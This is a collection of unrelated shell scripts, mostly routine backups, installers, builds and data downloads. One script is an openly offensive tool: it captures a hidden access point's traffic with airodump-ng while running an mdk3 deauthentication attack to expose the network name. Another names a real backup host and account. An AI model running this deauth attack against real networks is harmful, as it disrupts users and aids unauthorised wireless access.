FTP_PASSWORD\n\n# Check to see if we're at the first of the month.\n# If we are on the 1st day of the month, then run\n# a full backup. If not, then run an incremental\n# backup.\nif [ $date = 01 ]\nthen\n duplicity full --no-encryption /home/friendsco/backup_script/passphrase ftp://sd-70029@dedibackup-dc3.online.net/passwords >>/var/log/duplicity/passwords.log\n duplicity full /home ftp://sd-70029@dedibackup-dc3.online.net/home >>/var/log/duplicity/personal.log\n duplicity full /etc ftp://sd-70029@dedibackup-dc3.online.net/etc >>/var/log/duplicity/etc.log\nelse\n duplicity --no-encryption /home/friendsco/backup_script/passphrase ftp://sd-70029@dedibackup-dc3.online.net/passwords >>/var/log/duplicity/passwords.log\n duplicity /home ftp://sd-70029@dedibackup-dc3.online.net/home >>/var/log/duplicity/personal.log\n duplicity /etc ftp://sd-70029@dedibackup-dc3.online.net/etc >>/var/log/duplicity/etc.log\nfi\n# Check http://www.nongnu.org/duplicity/duplicity.1.html\n# for all the options available for Duplicity.\n\n# Deleting old backups\n duplicity remove-older-than 1Y --force ftp://sd-70029@ded.net/passwords >>/var/log/duplicity/passwords.log\n duplicity remove-older-than 1Y --force ftp://sd-70029@dedibackup-dc3.online.net/home >>/var/log/duplicity/personal.log\n duplicity remove-older-than 1Y --force ftp://sd-70029@dedibackup-dc3.online.net/etc >>/var/log/duplicity/etc.log\n\n# Unsetting the confidential variables so they are\n# gone for sure.\nunset PASSPHRASE\nunset FTP_PASSWORD\n\nexit 0"} {"text": "githubtesting02/nginx\n#!/bin/bash\n# Quickly list unique referrer URLs from Nginx access log\n\ncat /var/log/nginx/access.log | cut -d '\"' -f 4 | sort | uniq"} {"text": "#!/usr/bin/env bash\n\nset -eo pipefail\n\nDIR=\"$(cd \"$(dirname \"${0}\")/../..\" && pwd)\"\ncd \"${DIR}\"\n\nfail() {\n echo \"error: $@\" >&2\n exit 1\n}\n\ncheck_env_var() {\n if [ -z \"${!1}\" ]; then\n fail \"${1} not set\"\n fi\n}\n\n# only set on forks\n# https://help.github.com/en/github/automating-your-workflow-with-github-actions/virtual-environments-for-github-actions#environment-variables\nif [ -n \"${GITHUB_HEAD_REF}\" ]; then\n echo \"skipping due to fork\"\n exit 0\nfi\n\ncheck_env_var GITHUB_REF\n\ncheck_env_var DOCKER_BUILD_MAKE_TARGET\ncheck_env_var DOCKER_IMAGE\ncheck_env_var DOCKER_USERNAME\ncheck_env_var DOCKER_TOKEN\ncheck_env_var DOCKER_LATEST_BRANCH\ncheck_env_var DOCKER_VERSION_TAG_PREFIX\n\nDOCKER_IMAGE_VERSION=\nif echo \"${GITHUB_REF}\" | grep ^refs/heads/${DOCKER_LATEST_BRANCH}$ >/dev/null; then\n DOCKER_IMAGE_VERSION=latest\nelif echo ${GITHUB_REF} | grep ^refs/tags/${DOCKER_VERSION_TAG_PREFIX} >/dev/null; then\n DOCKER_IMAGE_VERSION=\"$(echo \"${GITHUB_REF}\" | sed \"s/refs\\/tags\\/${DOCKER_VERSION_TAG_PREFIX}//\")\"\nfi\nif [ -z \"${DOCKER_IMAGE_VERSION}\" ]; then\n echo \"skipping due to GITHUB_REF: ${GITHUB_REF}\"\n exit 0\nfi\n\necho make \"${DOCKER_BUILD_MAKE_TARGET}\"\nmake \"${DOCKER_BUILD_MAKE_TARGET}\"\necho \"${DOCKER_TOKEN}\" | docker login --username \"${DOCKER_USERNAME}\" --password-stdin\nif [ \"${DOCKER_IMAGE_VERSION}\" != \"latest\" ]; then\n echo docker tag \"${DOCKER_IMAGE}:latest\" \"${DOCKER_IMAGE}:${DOCKER_IMAGE_VERSION}\"\n docker tag \"${DOCKER_IMAGE}:latest\" \"${DOCKER_IMAGE}:${DOCKER_IMAGE_VERSION}\"\nfi\necho docker push \"${DOCKER_IMAGE}:${DOCKER_IMAGE_VERSION}\"\ndocker push \"${DOCKER_IMAGE}:${DOCKER_IMAGE_VERSION}\""} {"text": "lang=${1}\n\nif [ ${lang} == \"zh\" ]; then\n\tcd zh\n\tfor i in {1..267}\n\tdo\n\t\twget --http-user=xhaoran2 --http-passwd= https://oscar-prive.huma-num.fr/2109/packaged/zh/zh_part_${i}.txt.gz\n\tdone\nelif [ ${lang} == \"en\" ]; then\n\tcd en\n\tfor i in {415..543}\n\tdo\n\t\twget --http-user=xhaoran2 --http-passwd= https://oscar-prive.huma-num.fr/2109/packaged/en/en_part_${i}.txt.gz\n\tdone\nelif [ ${lang} == \"ru\" ]; then\n\tcd ru\n\tfor i in {536..543}\n\tdo\n\t\twget --http-user=xhaoran2 --http-passwd= https://oscar-prive.huma-num.fr/2109/packaged/ru/ru_part_${i}.txt.gz\n\tdone\nfi"} {"text": "# remove and rebuild the _fourdd_interface.so module\nrm _fourdd_interface.so\ncython _fourdd_interface.pyx\npython setup.py build_ext -i"} {"text": "# prevent virtualenv from modifying prompt\nVIRTUAL_ENV_DISABLE_PROMPT=true\nVIRTUALENVWRAPPER_PYTHON=/usr/local/bin/python3\n\n# virtualenvwrapper init\n# set location of venv's\nexport WORKON_HOME=$HOME/.virtualenvs\n# set location of venv projects\nexport PROJECT_HOME=$HOME/.venv_projects\n# source the virtualenvwrapper script\nsource /usr/local/bin/virtualenvwrapper.sh\n\n# Start session in default environment\nworkon py3"} {"text": "sudo apt-get remove docker docker-engine docker.io containerd runc\nsudo apt-get update\nsudo apt-get install \\\n apt-transport-https \\\n ca-certificates \\\n curl \\\n gnupg-agent \\\n software-properties-common\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -\nsudo add-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu $(cat /etc/os-release | grep UBUNTU_CODENAME | cut -d '=' -f 2) stable\"\nsudo apt-key fingerprint 0EBFCD88\nsudo apt-get update\nsudo apt install apt-transport-https ca-certificates curl software-properties-common\nsudo apt-get install docker-ce docker-ce-cli containerd.io\nsudo apt-get install git-all\n# azureuser is your user name\nsudo usermod -aG docker -a kgbcwebdev\nnewgrp docker\necho \"------------------ groups has docker ------------------\"\ngroups\necho \"------------------ groups has docker End ------------------\"\nsudo systemctl start docker\nsudo docker run hello-world\nsudo curl -L \"https://github.com/docker/compose/releases/download/1.28.2/docker-compose-$(uname -s)-$(uname -m)\" -o /usr/local/bin/docker-compose\nsudo chmod +x /usr/local/bin/docker-compose\necho \"------------------ git ------------------\"\ngit --version\necho \"------------------ git End ------------------\"\necho \"------------------ docker-compose ------------------\"\ndocker-compose --version\necho \"------------------ docker-compose End ------------------\"\necho \"------------------ docker ------------------\"\ndocker version\necho \"------------------ docker End ------------------\""} {"text": "#!/bin/sh\n#\n# See the paper \"Recursive Make Considered Harmful\"\n# by (http://aegis.sourceforge.net/auug97.pdf)\n#\n\nDIR=\"$1\"\nshift 1\ncase \"$DIR\" in\n \"\" | \".\")\n\tgcc -MM -MG \"$@\" | sed -e \"s!^\\(.*\\)\\.o:!\\1.s \\1.d \\1.o:!\"\n\t;;\n *)\n\tgcc -MM -MG \"$@\" | sed -e \"s!^\\(.*\\)\\.o:!$DIR/\\1.s $DIR/\\1.d $DIR/\\1.o:!\"\n\t;;\nesac"} {"text": "#!/usr/bin/env bash\nfind examples/code -name '**.cpp' -or -name '**.h' | xargs clang-format -style=file -i \nfind source -name '**.inl' -or -name '**.h' | xargs clang-format -style=file -i \nfind source -name '**.cpp' -or -name '*.mm' -or -name '*.c' | xargs clang-format -style=file -i \nfind assets -name '*.jsn' -or -name '*.pmfx' | xargs python3 tools/build_scripts/stub_format.py -tabs_to_spaces 4 -w -i \nfind examples/assets -name '*.jsn' -or -name '*.pmfx' | xargs python3 tools/build_scripts/stub_format.py -tabs_to_spaces 4 -w -i \nfind source -name '*.lua'| xargs python3 tools/build_scripts/stub_format.py -tabs_to_spaces 4 -w -i \ngit add .\ngit commit -m \"format-all\"\ngit push"} {"text": "#!/bin/bash\n\necho \"------------------------------------------------------------------------------------\"\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nDIR=\"${DIR}/../build\"\n\nmkdir -p ${DIR}\ncd ${DIR}\n\necho \"++++\"\necho \"++++ Installing Eigen3\"\necho \"++++\"\nmkdir -p ${DIR}/eigen3\ncd ${DIR}/eigen3\nunzip ${DIR}/../various/download/Eigen.zip\n\n\necho \"++++\"\necho \"++++ Installing Emscripten\"\necho \"++++\"\n\n\ncd ${DIR}\ntar xvfz ${DIR}/../various/download/emsdk-portable.tar.gz\n\ncd emsdk_portable\n\nchmod +x emsdk\npython ${DIR}/emsdk_portable/emsdk update\n\necho \"++++\"\necho \"++++ Emsdk install latest\"\necho \"++++\"\npython3 ${DIR}/emsdk_portable/emsdk install latest\n\n\necho \"++++\"\necho \"++++ Emsdk activate latest\"\necho \"++++\"\npython3 ${DIR}/emsdk_portable/emsdk activate latest \n\necho \"++++\"\necho \"++++ Creating Build Directories\"\necho \"++++\"\n\nmkdir -p ${DIR}/web\nmkdir -p ${DIR}/wasm\nmkdir -p ${DIR}/native\nmkdir -p ${DIR}/dist\n\necho \"++++\"\necho \"++++ Creating scripts\"\necho \"++++\"\n\ncp ${DIR}/../config/setpaths_build.sh ${DIR}/setpaths.sh\ncp ${DIR}/../compiletools/cmake.sh ${DIR}/cmake.sh\ncp ${DIR}/../compiletools/ccmake.sh ${DIR}/ccmake.sh\ncp ${DIR}/../compiletools/cmake_native.sh ${DIR}/cmake_native.sh\ncp ${DIR}/../compiletools/ccmake_native.sh ${DIR}/ccmake_native.sh\n\nchmod +x ${DIR}/cmake*.sh\nchmod +x ${DIR}/ccmake*.sh"} {"text": "amis/ami/user_data.sh1-10\n#!/usr/bin/env bash\n\necho \"***** Update *****\"\nyum update -y"} {"text": "Fluke667/ngx_brotliscript/.travis-compile.sh1-10\n#!/bin/bash\nset -ex\n\n# Setup shortcuts.\nROOT=`pwd`\n\n# Clone nginx read-only git repository.\nif [ ! -d \"nginx\" ]; then\n git clone https://github.com/nginx/nginx.git\nfi\n\n# Build nginx + filter module.\ncd $ROOT/nginx\n# Pro memoria: --with-debug\n./auto/configure --prefix=$ROOT/script/test --add-module=$ROOT\nmake -j 16\n\n# Build brotli CLI.\ncd $ROOT/deps/brotli\nmkdir out\ncd out\ncmake ..\nmake -j 16 brotli\n\n# Restore status-quo.\ncd $ROOT"} {"text": "data_setup.sh\n#!/bin/bash\n\n# 1. download SimpleQuestionv2\necho \"Downloading SimpleQuestions dataset...\\n\"\nwget https://www.dropbox.com/s/tohrsllcfy7rch4/SimpleQuestions_v2.tgz\n\necho \"Unzipping SimpleQuestions dataset...\\n\"\ntar -xvzf SimpleQuestions_v2.tgz\nmv SimpleQuestions_v2 freebase_data/\nrm SimpleQuestions_v2.tgz\n\necho \"Downloading the names file...\\n\"\nwget https://www.dropbox.com/s/yqbesl07hsw297w/FB5M.name.txt\nmv FB5M.name.txt freebase_data/dump_virtuoso_data/\n\n# 2. create KB data\necho \"\\n\\nCreate KB data...\\n\"\ncd freebase_data\npython convert.py SimpleQuestions_v2/freebase-subsets/freebase-FB2M.txt\nmv FB2M.core.txt dump_virtuoso_data/\n\n# 3. load data into knowledge base\necho \"\\n\\nload data into knowledge base...\\n\"\nisql-vt 1111 dba dba exec=\"ld_dir_all('`pwd`/dump_virtuoso_data', '*', 'fb2m:');\"\npids=()\nfor i in `seq 1 4`; do\n\tisql-vt 1111 dba dba exec=\"rdf_loader_run();\" &\n\tpids+=($!)\ndone\nfor pid in ${pids[@]}; do\n\twait $pid\ndone\n\n# 4. preprocess training data\ncd ../data\n\necho \"\\n\\npreprocess training data...\\n\"\npython process_rawdata.py ../freebase_data/SimpleQuestions_v2/annotated_fb_data_train.txt 5\npython process_rawdata.py ../freebase_data/SimpleQuestions_v2/annotated_fb_data_valid.txt 2\npython process_rawdata.py ../freebase_data/SimpleQuestions_v2/annotated_fb_data_test.txt 5\n\n# 5. create Vocabs\ncd ../vocab\n\necho \"\\n\\nDownloading Embeddings...\\n\"\nwget https://nlp.stanford.edu/data/wordvecs/glove.42B.300d.zip\nunzip glove.42B.300d.zip\nrm glove.42B.300d.zip\n\necho \"create vocabs...\\n\"\npython create_vocab.py\n\n# 6. create training data\necho \"\\n\\nCreating training data for entity detection...\\n\"\ncd ../entity_detection\npython seqLabelingLoader.py\n\necho \"\\n\\nDONE!\""} {"text": "#!/bin/bash\nUSB_PATH=/usr/bin/usb\nTOOLS_PATH=$USB_PATH/compositions\n\nrm $USB_PATH/boot_hsusb_composition\nln -fs $TOOLS_PATH/9025 $USB_PATH/boot_hsusb_composition\nln -fs $TOOLS_PATH/empty $USB_PATH/boot_hsic_composition"} {"text": "npm list -g --depth=0 | grep appium || sudo npm install -g appium\nnpm list --depth=0 | grep wd || npm install wd\npip install -r pip_requirements.txt"} {"text": "#!/bin/sh\n\nCURRENT_DIR=$(pwd)\ncd ${CURRENT_DIR}/bin\n\n# /bin/pidof -s ./gateway | xargs kill\n\nkillall -9 gateway"} {"text": "#!/bin/bash\n#\n# List and kill daemons used in running Mapping Africa\n# \n\n# check if crontab is running. Exit if it is\ncroncheck=`crontab -l`\nif [ -n \"$croncheck\" ]; then \n echo \"ERROR: crontab is running.\"\n echo \" Do not kill daemons unless you first stop crontab.\"\n echo \" Run 'crontab -r' first\"\n exit 1 \nfi\n\nAFMAP_HOME=`basename $HOME`\nCREATEHIT=`pgrep -f /home/${AFMAP_HOME}*.*create_hit_daemon.py`\nCLEANUP=`pgrep -f /home/${AFMAP_HOME}*.*cleanup_absent_worker.py`\nKMLGENERATE=`pgrep -f /home/${AFMAP_HOME}*.*select_n_sites.py`\nGENERATECONSENSUS=`pgrep -f /home/${AFMAP_HOME}*.*generate_consensus_daemon.py`\nASSIGNNOTIFY=`pgrep -f /home/${AFMAP_HOME}*.*assignment_notification_daemon.py`\n\nif [ -n \"$CREATEHIT\" ]; then\n echo \"create_hit_daemon.py PID on $AFMAP_HOME: $CREATEHIT\"\n echo \"kill $CREATEHIT\"\n kill $CREATEHIT\nelse\n echo \"create_hit_daemon.py not running\"\nfi\nif [ -n \"$CLEANUP\" ]; then\n echo \"cleanup_absent_worker.py PID on $AFMAP_HOME: $CLEANUP\"\n echo \"kill $CLEANUP\"\n kill $CLEANUP\nelse\n echo \"cleanup_absent_worker.py not running\"\nfi\nif [ -n \"$KMLGENERATE\" ]; then\n echo \"select_n_sites.py PID on $AFMAP_HOME: $KMLGENERATE\"\n echo \"kill $KMLGENERATE\"\n kill $KMLGENERATE\nelse\n echo \"select_n_sites.py not running\"\nfi\nif [ -n \"$GENERATECONSENSUS\" ]; then\n echo \"generate_consensus_daemon.py PID on $AFMAP_HOME: $GENERATECONSENSUS\"\n echo \"kill $GENERATECONSENSUS\"\n kill $GENERATECONSENSUS\nelse\n echo \"generate_consensus_daemon.py not running\"\nfi\nif [ -n \"$ASSIGNNOTIFY\" ]; then\n echo \"worker_notification_daemon.py PID on $AFMAP_HOME: $ASSIGNNOTIFY\"\n echo \"kill $ASSIGNNOTIFY\"\n kill $ASSIGNNOTIFY\nelse\n echo \"worker_notification_daemon.py not running\"\nfi"} {"text": "kikokikok/packer-baseboxes1-10\n# Install vagrant keys\nmkdir /home/vagrant/.ssh\nchmod 700 /home/vagrant/.ssh\ncd /home/vagrant/.ssh\nfetch -am -o authorized_keys 'https://raw.github.com/mitchellh/vagrant/master/keys/vagrant.pub'\nchown -R vagrant /home/vagrant/.ssh\n\n#Set the time correctly\nntpdate -v -b in.pool.ntp.org\ndate > /etc/vagrant_box_build_time"} {"text": "#!/bin/bash\n\nMODEL=$1\nMODEL_DIR=\"/c/Documents and Settings/mccollum/My Documents/maya/projects/default\"\n\ncd Debug\n\nif [ -z \"${ANIMATIONS}\" ]\n then ANIMATIONS=\"idle walk\"\nfi\n\n## Copy the rig file to the local directory\ncp \"${MODEL_DIR}\"/\"${MODEL}\".dae .\n## Export the model without the transforms\n./ConversionTool.exe \"${MODEL}.dae\"\n\nfor anim in ${ANIMATIONS}\ndo\n if [ -n ${MERGE_COLLADA} ]\n then\n ## Copy the model into the local directory\n cp \"${MODEL_DIR}\"/\"${MODEL}_${anim}\".dae ./\"${MODEL}_${anim}_raw\".dae\n ## Merge the rig data and animation data\n ./ConversionTool.exe --merge_collada \"${MODEL}_${anim}\".dae \"${MODEL}.dae\" \"${MODEL}_${anim}_raw\".dae\n else\n ## Copy the model into the local directory\n cp \"${MODEL_DIR}\"/\"${MODEL}_${anim}\".dae .\n fi\n ## Export the model without the transforms\n ./ConversionTool.exe --animation_name $anim \"${MODEL}_${anim}.dae\"\ndone\n\nmv ${MODEL}.skeleton.xml ${MODEL}_rig.skeleton.xml\nMERGE_FLAGS=\"--merge_animations ${MODEL}.skeleton.xml ${MODEL}_rig.skeleton.xml\"\nfor anim in ${ANIMATIONS}\ndo\n MERGE_FLAGS=\"${MERGE_FLAGS} ${MODEL}_${anim}.skeleton.xml\"\ndone\necho $MERGE_FLAGS\n./ConversionTool.exe ${MERGE_FLAGS}\n\n../../../ogretools/OgreXMLConverter ${MODEL}.mesh.xml\ncp -v ${MODEL}.mesh ../../../../Media/Meshes/${MODEL}.mesh\ncp -i ${MODEL}.material ../../../../Media/Materials/${MODEL}.material\n\nif [ -n ${MERGE_COLLADA} ]\nthen\n ../../../ogretools/OgreXMLConverter ${MODEL}.skeleton.xml\n cp -v ${MODEL}.skeleton ../../../../Media/Skeletons\nfi"} {"text": "# Remove Output and error files\nrm -r .log/\nmkdir .log/\n\n# Remove scripts\nrm scripts/perceptromic_*\n\n# Remove combination list\n# rm comb_list.py\n\n# Remove cursors\nrm -r perceptron_avakas/tmp/\n\n# Remove results\nrm -r perceptron_avakas/results/\nmkdir perceptron_avakas/results/"} {"text": "install_containerd.sh\n#!/bin/sh\n# If you update this from Windows, using Notepad ++, do the following:\n# sudo apt-get -y install dos2unix\n# dos2unix \n# chmod u+x \n#\n#clear\necho \"\\r\\n \\r\\n \\r\\n \nBy: \n\nInstalling 'containerd'\n\nVersion: 0.0.1 \\r\\n\nLast Updated: 1/25/2021\n\\r\\n \\r\\n\"\n#echo \"Updating system first...\"\n#sudo -E apt-get update\n#wait\n#sudo -E apt-get upgrade -y\nwait\n#--------------------------------------------\n# https://kubernetes.io/docs/setup/production-environment/container-runtimes/\n\n# This section contains the necessary steps to use containerd as CRI runtime.\ncat <callforpapers-source/WNA\necho \"Please enter the following information.\"\necho \"\"\nread -p \"Mac Address of the hidden AP: \" mac\nread -p \"Channel number: \" channel\nread -p \"Network interface: \" interface\nread -p \"Output file: \" filename\n\nxterm -e \"airodump-ng --bssid $mac -c $channel -w $filename $interface & wait\"&\necho \"Starting the deauth attack with mdk3...\"\nmdk3 $interface d&\nsleep 10\nkillall -e \"mdk3\"\n\necho \"Waiting to record ProbeResp packets...\"\nwhile true; do\n\tCHECKOUT=$(cat $filename-*.csv | grep $mac | awk -F \",\" '{if ($3 != \"\")print $3}' | head -n3)\n\techo $CHECKOUT\n\tread -p \"Got it?\" flag\n\tcase $flag in\n\t\tyes) break\n\tesac\n\tsleep 5\ndone\nkillall -e \"airodump-ng\""} {"text": "aws-samples/aws-s3-file-helper\n#!/usr/bin/env bash\n# \n# ================================================================================================================================\n# Purpose: Copy files from one location to another location and performs minor transformations and cleansing if needed\n# ---------------------------\n# Called From: Tidal agent\n# Author: estark\n# ===============================================================================================================================\n#\nfunction usage() {\n echo \"Copies text files with the following parameters:\"\n echo \" --jobname= REQUIRED. A job name with no spaces and special characters. Example : daily_transactions\"\n echo \" --env= REQUIRED. Environment to run in (dev, e2e, prd, prf)\"\n echo \" --files= REQUIRED. Files to copy\"\n echo \" --days= OPTIONAL. Iterates {date} variable for Last d days.\" \n echo \" If -d not provided {date} = today. -d 1 = today, -d 2 = yesterday and today\"\n echo \" --output_format= OPTIONAL. Default = gz . File output format. Available options : gz, csv\"\n echo \" --output_location= REQUIRED. File output target S3 location. Example : s3://my_s3_bucket/my_target_prefix/\"\n echo \" --removefirst= OPTIONAL. Removes first x lines from the file\"\n echo \" --removelast= OPTIONAL. Removes last x lines from the file\"\n echo \" --removeheader OPTIONAL. Removes header line (no param value is needed)\"\n echo \" --addheader OPTIONAL. Adds the header line to each split files (no param value is needed)\"\n echo \" --mergefiles OPTIONAL. Merges small files into a large file\"\n echo \" --splitrows= OPTIONAL. Max number of rows you want in each file\"\n echo \n echo \n echo \" Examples :\" \n echo \" sh filecopy.sh\"\n echo \" --jobname=daily_transactions\"\n echo \" --env=prd\"\n echo \" --files='/data/folder/subfolder/Fileprefix_{date}*tar.gz'\"\n echo \" --days=1\"\n echo \" --output_format=csv\"\n echo \" --output_location='/data2/anothersubfolder/'\"\n echo \" --splitrows=500000\"\n echo \" --addheader\"\n echo \"\"\n echo \" sh filecopy.sh\"\n echo \" --jobname=daily_transactions\"\n echo \" --env=prd\"\n echo \" --files='/data/folder/subfolder/Fileprefix_{date}*zip'\"\n echo \" --days=10\"\n echo \" --output_format=gz\"\n echo \" --output_location='s3://mybucket/myprefix/'\"\n echo \" --removefirst=1\"\n echo \" --removelast=1\"\n echo \" --removeheader\"\n echo \" --mergefiles\"\n exit 1\n}\n\nclear\nset -e # Exit immediately if a command exits with a non-zero status.\n\nmachine=\"\"\npJOBNAME=\"\"\npDAYS=1\npSPLITROWS=0\npOUTPUT_FORMAT=\"gz\"\npMERGE_FILES=\"\"\npREMOVE_FIRST=0\npREMOVE_LAST=0\npREMOVE_HEADER=\"\"\npADD_HEADER=\"\"\n\noptspec=\":hv-:\"\nwhile getopts \"$optspec\" optchar; do\n case \"${optchar}\" in\n -)\n case \"${OPTARG}\" in\n jobname=*)\n pJOBNAME=\"${OPTARG#*=}\" ;;\n env=*)\n pENV=\"${OPTARG#*=}\" ;;\n files=*)\n pFILES=\"${OPTARG#*=}\" ;;\n days=*)\n pDAYS=${OPTARG#*=} ;;\n splitrows=*)\n pSPLITROWS=${OPTARG#*=} ;;\n output_format=*)\n pOUTPUT_FORMAT=\"${OPTARG#*=}\" ;;\n output_location=*)\n pTARGET=\"${OPTARG#*=}\" ;;\n removefirst=*)\n pREMOVE_FIRST=${OPTARG#*=} ;;\n removelast=*)\n pREMOVE_LAST=${OPTARG#*=} ;;\n removeheader)\n pREMOVE_HEADER='Yes' ;;\n addheader)\n pADD_HEADER='Yes' ;;\n mergefiles)\n pMERGE_FILES='Yes' ;;\n *) \n if [ \"$OPTERR\" != 1 ] || [ \"${optspec:0:1}\" = \":\" ]; then\n echo \"Non-option argument: '-${OPTARG}'\" >&2\n fi ;;\n esac;;\n h) \n usage ;;\n *) \n if [ \"$OPTERR\" != 1 ] || [ \"${optspec:0:1}\" = \":\" ]; then\n echo \"Non-option argument: '-${OPTARG}'\" >&2\n fi ;;\n esac\ndone\nif [ -z \"$pJOBNAME\" ]\nthen\n echo \"Need to pass the --jobname argument\"\n echo \"\"\n exit 1\nfi\nif [ -z \"$pENV\" ]\nthen\n echo \"Need to pass the --env argument\"\n echo \"\"\n exit 1\nfi\nif [ -z \"$pFILES\" ]\nthen\n echo \"Need to pass the --files argument\"\n echo \"\"\n exit 1\nfi\nif [ -z \"$pTARGET\" ]\nthen\n echo \"Need to pass the --output_location argument\"\n echo \"\"\n exit 1\nfi\nif [ $pDAYS -lt 1 ];then\n pDAYS=1\nfi\n\npTARGET=${pTARGET/\"{env}\"/$pENV}\nif [[ $pTARGET == \"s3://\"* ]]; then\n target_type='s3'\nelse\n target_type='fs'\nfi\n\necho ------------------------------------------------------------------------------------\necho Files : $pFILES\necho Target : $pTARGET\necho Output : $pOUTPUT_FORMAT\necho - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nrootdir=./tmp\npTMPDIR=$rootdir/$pJOBNAME\npINPUTDIR=$pTMPDIR/input\npUNZIPDIR=$pTMPDIR/unzipped\npSPLITDIR=$pTMPDIR/split\npOUTPUTDIR=$pTMPDIR/output\n\nmkdir -p $rootdir \nrm -rf $pTMPDIR\nmkdir -p $pTMPDIR\n\nfunction clean_tempdirs() {\n if [ \"$(ls -A ${pTMPDIR})\" ]; then\n rm -rf $pTMPDIR/*\n fi\n mkdir -p $pINPUTDIR\n mkdir -p $pUNZIPDIR\n mkdir -p $pSPLITDIR\n mkdir -p $pOUTPUTDIR\n}\n\nfunction check_if_file_needs_transformation() {\n f=$1\n file_needs_transformation=\"No\"\n if [[ $pREMOVE_FIRST -gt 0 ]]; then \n file_needs_transformation=\"Yes\"\n fi\n # Remove last x lines if needed\n if [[ $pREMOVE_LAST -gt 0 ]]; then \n file_needs_transformation=\"Yes\"\n fi\n\n # Remove the header if needed\n if [ \"$pREMOVE_HEADER\" == 'Yes' ]; then \n file_needs_transformation=\"Yes\"\n fi\n\n # Split the file if needed\n if [[ $pSPLITROWS -gt 0 ]]; then\n file_needs_transformation=\"Yes\"\n fi\n\n current_file_format=\"${f##*.}\"\n # Gzip files if asked. This will also move files from unzip to output folder\n if [[ \"$current_file_format\" != \"$pOUTPUT_FORMAT\" ]]; then\n file_needs_transformation=\"Yes\"\n fi\n\n case \"$current_file_format\" in \n \"zip\"|\"tar.gz\"|\"tar\")\n file_needs_transformation=\"Yes\"\n ;;\n esac\n}\n \nfunction unzip_file() {\n ff=$1\n unzip -o $ff -d $pUNZIPDIR\n rm $ff\n \n echo \">> File unziped :\" $ff\n}\n\nfunction untar_file() {\n ff=$1\n tar -zxf $ff -C $pUNZIPDIR/\n rm $ff\n \n echo \">> File untarred :\" $ff\n}\n\nfunction remove_first_lines {\n ff=$1\n lines_to_start=$(expr $pREMOVE_FIRST + 1 )\n tail -n +$lines_to_start $ff > $ff.new\n rm $ff\n mv $ff.new $ff\n\n echo \">> First $pREMOVE_FIRST line(s) removed :\" $ff\n}\n\nfunction remove_last_lines {\n ff=$1\n if [ $machine == 'Mac' ]; then\n ghead -n -$pREMOVE_LAST $ff > $ff.new\n else\n head -n -$pREMOVE_LAST $ff > $ff.new\n fi\n rm $ff\n mv $ff.new $ff\n\n echo \">> Last $pREMOVE_LAST line(s) removed :\" $ff\n}\n\nfunction remove_header {\n ff=$1\n lines_to_start=2\n tail -n +$lines_to_start $ff > $ff.new\n rm $ff\n mv $ff.new $ff\n\n echo \">> Header removed from :\" $ff\n}\n\nfunction merge_files {\n mkdir $pTMPDIR/merge\n ffilename=$(basename \"$1\")\n fname=\"${ffilename%%.*}\"\n cat $pUNZIPDIR/* > $pTMPDIR/merge/$fname.txt\n rm $pUNZIPDIR/*\n mv $pTMPDIR/merge/$fname.txt $pUNZIPDIR/\n\n echo \">> Files have been merged :\" $fname.txt\n}\n\nfunction convert_files_to_zip() {\n zip $pUNZIPDIR/*\n mv $pUNZIPDIR/* $pOUTPUTDIR/\n \n echo \">> File zipped :\" $file\n}\n\nfunction convert_files_to_gzip() {\n gzip $pUNZIPDIR/*\n mv $pUNZIPDIR/* $pOUTPUTDIR/\n #rm $file\n #file=$pOUTPUTDIR/$filename.gz\n \n echo \">> File(s) gzipped and moved to $pOUTPUTDIR\"\n}\n\nfunction split_file() {\n ff=$1\n echo \">> File to split :\" $ff\n filedir=\"$(dirname \"$ff\")\"/ \n filename=$(basename $ff)\n filetype=\"${ff##*.}\"\n\n if [ \"$pADD_HEADER\" == \"Yes\" ]; then\n echo \">> Headers will be added\"\n # Adds the first line each splitted file\n head -n 1 $ff > $pSPLITDIR/tmp_header.txt\n tail -n +2 $ff | split -l $pSPLITROWS - ${pSPLITDIR}/$filename.\n \n for f in $pSPLITDIR/*.*\n do\n cat \"$pSPLITDIR/tmp_header.txt\" > \"$f.new\"\n cat \"$f\" >> \"$f.new\"\n mv -f \"$f.new\" \"$f\"\n done\n\n rm -f $pSPLITDIR/tmp_header.txt\n echo \">> Headers added\"\n else\n split -l $pSPLITROWS $ff ${pSPLITDIR}/$filename.\n fi\n \n rm $ff\n mv $pSPLITDIR/* $filedir\n echo \">> File split completed\"\n}\n\nfunction copy_files_to_s3() {\n aws s3 cp $pOUTPUTDIR $pTARGET --recursive\n echo \">> File(s) copied to : \" $pTARGET\n}\n\nfunction copy_files_to_fs() {\n cp $pOUTPUTDIR/* $pTARGET\n echo \">> File(s) copied to : \" $pTARGET\n}\n\nfunction copy_files() {\n # iterate files found in $pFILES\n echo \"-----------------------------------------------------------------\"\n echo \">> File(s) to be processed : \" $pFILES\n echo \"-----------------------------------------------------------------\"\n\n for inputfile in $pFILES\n do \n echo \">>> File to Copy :\" $inputfile\n clean_tempdirs\n filename=$(basename $inputfile)\n { #try\n cp $inputfile $pINPUTDIR/$filename && {\n inputfile=$pINPUTDIR/$filename\n echo \">>>\" $inputfile \"has been copied to\" $pINPUTDIR/$filename\n } \n } || { \n # catch\n echo \"!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!\"\n echo \">>> Cannot copy\" $inputfile \"to\" $pINPUTDIR/$filename\n echo \"Exiting the script\"\n echo \"!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!\"\n exit 1\n }\n\n file_basedir=$(dirname $inputfile)\n if [[ $file_basedir != $pINPUTDIR ]]; then\n echo \"!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!\"\n echo \">>> File is not in \" $pINPUTDIR\n echo \">>> Exiting the script\"\n echo \"!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!-!\"\n exit 1\n fi\n\n # Check the script parameters to see if the file needs decompression\n \n check_if_file_needs_transformation $inputfile;\n if [ \"$file_needs_transformation\" = 'Yes' ]; then\n\n # Move file(s) to Unzip folder\n if [[ $inputfile == *.zip ]]; then\n unzip_file $inputfile\n\n # Untar the file if needed\n elif [[ $inputfile == *.tar.gz ]]; then\n untar_file $inputfile\n\n else\n # Assuming else files are 